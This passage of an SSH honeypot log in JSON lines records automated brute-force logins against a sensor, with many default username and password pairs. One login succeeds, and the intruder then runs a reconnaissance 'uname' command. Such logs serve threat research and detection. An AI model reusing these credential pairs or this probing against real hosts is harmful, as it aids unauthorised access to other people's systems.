sh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:11.367377Z","src_ip":"45.153.34.114","session":"8b2e0aaed0f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:11.629721Z","src_ip":"45.153.34.114","session":"8b2e0aaed0f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:12.719218Z","src_ip":"45.153.34.114","session":"8b2e0aaed0f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51088,"dst_ip":"159.203.135.109","dst_port":22,"session":"5792b7184428","protocol":"ssh","message":"New connection: 45.153.34.114:51088 (159.203.135.109:22) [session: 5792b7184428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:19.081856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:19.086827Z","src_ip":"45.153.34.114","session":"5792b7184428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:19.179200Z","src_ip":"45.153.34.114","session":"5792b7184428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:19.454349Z","src_ip":"45.153.34.114","session":"5792b7184428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:20.555445Z","src_ip":"45.153.34.114","session":"5792b7184428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":41686,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d8000a014d4","protocol":"ssh","message":"New connection: 103.75.199.4:41686 (159.203.135.109:22) [session: 7d8000a014d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:24.457069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:24.460782Z","src_ip":"103.75.199.4","session":"7d8000a014d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:24.554006Z","src_ip":"103.75.199.4","session":"7d8000a014d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:24.825674Z","src_ip":"103.75.199.4","session":"7d8000a014d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:25.919841Z","src_ip":"103.75.199.4","session":"7d8000a014d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34664,"dst_ip":"159.203.135.109","dst_port":22,"session":"a97fa8eeae8b","protocol":"ssh","message":"New connection: 45.153.34.114:34664 (159.203.135.109:22) [session: a97fa8eeae8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:27.271842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:27.276526Z","src_ip":"45.153.34.114","session":"a97fa8eeae8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:27.363690Z","src_ip":"45.153.34.114","session":"a97fa8eeae8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:27.628076Z","src_ip":"45.153.34.114","session":"a97fa8eeae8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:28.716756Z","src_ip":"45.153.34.114","session":"a97fa8eeae8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54434,"dst_ip":"159.203.135.109","dst_port":22,"session":"c65397b30e24","protocol":"ssh","message":"New connection: 45.153.34.114:54434 (159.203.135.109:22) [session: c65397b30e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:35.382504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:35.386369Z","src_ip":"45.153.34.114","session":"c65397b30e24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:35.476654Z","src_ip":"45.153.34.114","session":"c65397b30e24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:35.743696Z","src_ip":"45.153.34.114","session":"c65397b30e24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:36.839673Z","src_ip":"45.153.34.114","session":"c65397b30e24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37214,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d6251175773","protocol":"ssh","message":"New connection: 45.153.34.114:37214 (159.203.135.109:22) [session: 3d6251175773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:43.100529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:43.105189Z","src_ip":"45.153.34.114","session":"3d6251175773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:43.192062Z","src_ip":"45.153.34.114","session":"3d6251175773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:43.464707Z","src_ip":"45.153.34.114","session":"3d6251175773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":53434,"dst_ip":"159.203.135.109","dst_port":22,"session":"c071d067420a","protocol":"ssh","message":"New connection: 20.203.42.204:53434 (159.203.135.109:22) [session: c071d067420a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:44.430688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:44.435352Z","src_ip":"20.203.42.204","session":"c071d067420a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:44.554756Z","src_ip":"45.153.34.114","session":"3d6251175773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:44.604419Z","src_ip":"20.203.42.204","session":"c071d067420a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:45.316656Z","src_ip":"20.203.42.204","session":"c071d067420a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":52988,"dst_ip":"159.203.135.109","dst_port":22,"session":"82a12077ea09","protocol":"ssh","message":"New connection: 103.75.199.4:52988 (159.203.135.109:22) [session: 82a12077ea09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:46.298842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:46.302779Z","src_ip":"103.75.199.4","session":"82a12077ea09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:46.394046Z","src_ip":"103.75.199.4","session":"82a12077ea09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:46.488095Z","src_ip":"20.203.42.204","session":"c071d067420a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:46.671954Z","src_ip":"103.75.199.4","session":"82a12077ea09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:47.766557Z","src_ip":"103.75.199.4","session":"82a12077ea09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45364,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fd1c749723f","protocol":"ssh","message":"New connection: 45.153.34.114:45364 (159.203.135.109:22) [session: 0fd1c749723f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:50.451843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:50.456666Z","src_ip":"45.153.34.114","session":"0fd1c749723f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:50.547873Z","src_ip":"45.153.34.114","session":"0fd1c749723f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:50.814048Z","src_ip":"45.153.34.114","session":"0fd1c749723f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:51.061965Z","src_ip":"45.153.34.114","session":"0fd1c749723f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:27:51.065121Z","src_ip":"45.153.34.114","session":"0fd1c749723f","protocol":"ssh"}
